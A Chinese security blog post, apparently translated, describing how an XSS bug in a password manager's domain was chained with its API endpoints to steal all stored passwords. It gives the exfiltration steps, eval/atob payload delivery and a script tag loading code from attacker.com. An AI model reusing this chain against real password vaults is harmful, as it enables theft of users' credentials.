技术讨论 | 通过Password Vault的XSS漏洞获取用户密码测试

2018-09-01 141640人围观 ,发现 3 个不明物体 数据安全

PS:本文仅作技术讨论,禁止用于任何非法用途

前言

大家好!自我上次写作以来到现在已经有段时间了。今天,我想和大伙分享一些非常有意思的内容。为了存储及管理的方便,相信大家可能都会选择使用一些密码管理器来存储不同网站的密码(例如Facebook,Gmail等其他帐户)。那么,作为存储如此敏感数据的管理工具是否应该保证足够的安全性呢?

Screenshot 2018-08-22 at 12.30.17 PM.png

场景

在我遇到的这个场景中,其中不仅包含了账户密码它还包含了该公司员工的密码。令我感到惊讶的是,我在同一域中发现了一个XSS漏洞,并最终利用该漏洞成功窃取了其中的用户密码信息。

每当我测试一个应用程序时,我都会首先确定我的目标公司类型。而当前测试的目标则是一个密码管理器,显而易见这是一个存储密码的地方。而密码也这正是他们所要保护的敏感数据,我的目标就是捕获和检索这些密码。

目标公司类型

应用工作流程

为了更好的理解应用程序,我们需要了解它的功能和流程,以及它是如何检索数据以及检索数据的位置。

在仔细观察应用程序并完成各个请求之后,我发现应用程序会从位于应用程序的/api/的API中检索不同的信息。

在对应用程序进行一些爬行和抓取后,我发现了一些API端点:

API端点

API端点观察

当应用程序与API完全交互时,每个端点都返回了一些值和信息,其中包括record ID,session token和其他一些内容。让我来解释下这些API。

records/all 端点

位于/api/v3/records/all的端点,它正在接受GET请求。一旦在进行身份验证时发送了GET请求,它就会返回具有record ids的JSON对象,以及与可用记录相关的其他信息。

可用记录相关的其他信息

passwords/record 端点

该端点位于/api/v1/passwords/record。在record IDs从record/all端点被检索后,该端点用于从这些特定记录ID中检索密码及其完整信息。

在我们的例子中,我们获取到了以下record IDs:

  • 526882 - Facebook Account” record ID
  • 526883 -  ”Google Email” record ID

如果用户单击“ ”Facebook Account” 记录,一个使用以下JSON数据以及record ID为526882的POST请求,将会被发送到/api/v1/passwords/record端点。

发送到/api/v1/passwords/record端点

这将返回指定ID的以下信息:

返回指定ID的以下信息

现在我们已经知道了ID是如何被检索的,以及它们是如何返回数据的。但有个问题就是,应用程序在发送给API的每个POST请求中都发送了一个CSRF token。在请求中包含一个 “token“,是为了对用户会话进行验证。

session/token 端点

为了弄清楚token是如何生成的,我查看了其它的一些端点,最终发现位于/api/v1/session/token的API端点是负责生成CSRF tokens的。

发送一个GET请求至该端点,你将会获取到以下响应:

响应

XSS漏洞

现在,我们开始了解应用程序的流程和用于数据交换的端点。我们需要以某种方式从以下端点获取信息:

Session Token 来自 /api/v1/passwords/record

Record IDs 来自 /api/v3/records/all

Record 信息 来自 /api/v1/passwords/record

从端点获取信息,有一个简单的技巧就是利用一些配置错误的CORS,但可惜的是该应用似乎并没有将它用于资源共享。

另一种可能性是在同一个域的某个地方找到XSS漏洞,绕过同源策略(SOP)。否则,将会因为触发SOP,导致我们所有的XHR调用都被拒绝。

经过一番测试,我成功的在一个电子邮件激活页面上找到了一个XSS漏洞。如下所示:

XSS漏洞

现在,我们就不必再担心SOP了,并可使用与应用程序相同的方式与API进行通信。

利用脚本

首先,我们将使用javascript的fetch()函数来向/api/v3/records/all发出GET请求,以获取所有的record ID:

获取所有的record ID

抓取记录后,接下来就是获取session token以进行POST请求。这里我还将记录的响应转换为了JSON,并直接从JSON对象调用记录ID的值。fetch()函数用于发送GET请求,以捕获令牌并从JSON对象中检索其值:

检索其值

现在,我们获取到了“session_token”“record IDs”。接下来我们要做的就是将具有”record ID”的POST请求,发送到/api/v1/passwords/record端点。我将使用XHR发送具有指定记录ID的POST请求。我将遍历record IDs逐个检索每条记录的信息:

检索每条记录的信息

如你所看到的第30-34行,我们进行了一些适当配置。在第45行,我们将这些值以 {“id”:record_ID_here,”is_organization:false}的形式放置,然后发出请求。

请求完成后,将解析响应并从响应中获取值,例如标题,URL,用户名,密码。然后将这些值添加到虚拟变量“data_chunks”进行最终的处理。

进行最终的处理

在使用收集的数据填充虚拟变量之后,它将转换为base64以避免错误字符冲突,并将其发送至攻击者的主机上。

发送至攻击者的主机上

注意:还有许多其他方法可以用来正确发送抓取的数据,但出于演示目的我使用的方法很简单,例如直接发送base64编码数据。其实,通过POST将数据发送至特定文件也是一个不错的选择。

漏洞利用

现在,我们的漏洞利用脚本已经编写完成。那么我们该如何进行利用呢?这里有两个简单的XSS利用技巧。

在外部主机上托管你的javascript利用脚本(你可能必须要设置CORS才能成功访问);

直接用eval和atob包含payload。

对于第一种技术,需要通过<script src=”http://attacker.com/path_to_exploit.js“></script>来加载外部JS。这种方法在处理大型漏洞利用代码时非常有效,并且还有一个好处就是利用代码不会被记录在服务器中。

第二种方法可用于处理一些较简短的payload。我使用的payload如下:

使用的payload

现在用我们的base64编码的源代码替换atob()的值。首先,我们的payload将由atob解码,然后由eval()执行。

最终的payload如下:

最终的payload

这里或许有人会说这并不是一个简短的payload,而是一个较大的payload。其实它也可以从外部主机被加载,但这里我为了避免CORS设置所带来的麻烦,所以才使用了这种方法。

现在我将托管一个内容如下的exploit.html文件:

exploit.html

现在只需为exploit.html提供一个URL,攻击者就可以将用户重定向到一个注入了payload的页面上。

成功利用后,我们将获取到以下数据:

获取到以下数据

可以看到,存储在Password Vault中的记录成功被我们检索了出来,并且我们也放大了该XSS漏洞带来的安全影响。

漏洞利用代码我已经发布在了https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34,有兴趣的可以自行下载测试。

*参考来源:shawarkhan,FB小编 secist 编译,转载请注明来自FreeBuf.COM

发表评论

已有 3 条评论

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php